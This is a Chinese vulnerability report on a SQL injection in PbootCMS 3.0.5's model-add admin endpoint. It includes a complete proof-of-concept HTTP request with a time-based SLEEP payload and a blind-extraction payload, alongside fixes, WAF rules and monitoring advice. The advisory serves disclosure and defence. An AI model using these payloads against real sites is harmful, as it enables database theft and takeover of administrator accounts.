PbootCMS SQL注入漏洞
字数 1291 2025-08-09 22:00:40
PbootCMS SQL注入漏洞分析报告
漏洞概述
PbootCMS 3.0.5版本中存在SQL注入漏洞,攻击者可以通过构造特定的请求在后台执行任意SQL语句。该漏洞存在于模型管理功能中,由于对type参数过滤不严导致。
漏洞分析
漏洞位置
-
主要文件:
/apps/admin/controller/content/ModelController.php/core/function/helper.php/apps/admin/model/content/ModelModel.php
-
漏洞触发流程:
- 攻击者通过
/admin.php?p=/Model/add路径提交恶意请求 type参数被直接拼接到SQL语句中执行
- 攻击者通过
代码审计细节
-
输入过滤:
- 系统对大多数输入进行了过滤(只能包含中文、字母、数字、水平线、点、逗号和空格)
- 但
type参数未经过严格过滤,导致可控
-
SQL拼接点:
- 在
ModelModel.php中,type参数被直接用于SQL语句构建 - 缺乏参数化查询或严格的类型检查
- 在
漏洞复现
环境要求
- PbootCMS 3.0.5版本
- 管理员权限(需要后台访问权限)
POC
POST /admin.php?p=/Model/add HTTP/1.1
Host: pbootcms.cc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://pbootcms.cc/admin.php?p=/Model/index
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
Origin: http://pbootcms.cc
Connection: close
Cookie: [有效管理员Cookie]
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
formcheck=20ef862bac15666418675fc5fbd7eb4c&name=1111111&type=2 AND (SELECT 2704 FROM (SELECT(SLEEP(5)))XhYr)&urlname=1111111111111111111&listtpl=11111111&contenttpl=11111111&status=1
验证方法
- 观察响应时间:如果注入成功,服务器会延迟5秒响应
- 可替换SLEEP(5)为其他SQL语句进行进一步利用
修复建议
-
临时解决方案:
- 禁用或限制对
/admin.php?p=/Model/add的访问 - 在应用层对
type参数进行严格类型检查和过滤
- 禁用或限制对
-
长期解决方案:
- 升级到最新版本(检查官方是否已发布补丁)
- 使用参数化查询或预处理语句重构相关代码
- 对所有用户输入实施严格的白名单过滤
-
代码层面修复:
// 修复示例 - 强制转换为整数 $type = (int)$_POST['type'];
漏洞影响
- 影响范围:PbootCMS 3.0.5及可能更早版本
- 危害程度:高危
- 可导致数据库信息泄露
- 可能获取管理员权限
- 可能进一步导致服务器沦陷
时间线
- 漏洞发现时间:未明确(根据文章推测为2021年7月左右)
- 漏洞公开时间:文章发布日期未明确
- 官方修复状态:需要确认3.0.5之后版本是否修复
扩展利用
-
盲注利用:
- 可通过时间盲注提取数据库信息
- 示例:
type=2 AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(5),0)
-
数据提取:
- 构造UNION查询获取敏感数据
- 需要了解数据库表结构
-
权限提升:
- 通过注入修改管理员账户
- 直接更新数据库中的管理员凭证
防御措施
-
WAF规则:
- 拦截包含
SLEEP(、BENCHMARK(等时间延迟函数的请求 - 监控异常的SQL错误返回
- 拦截包含
-
日志监控:
- 记录所有对
/Model/add的POST请求 - 监控异常的数据库查询模式
- 记录所有对
-
最小权限原则:
- 数据库连接使用最小必要权限账户
- 限制CMS数据库账户的DROP、ALTER等危险权限
总结
该漏洞展示了即使在新版本中,由于特定参数过滤不严导致的SQL注入风险。开发人员应当对所有用户输入保持警惕,特别是看似"安全"的数字类型参数。建议所有PbootCMS用户检查是否受影响并及时采取防护措施。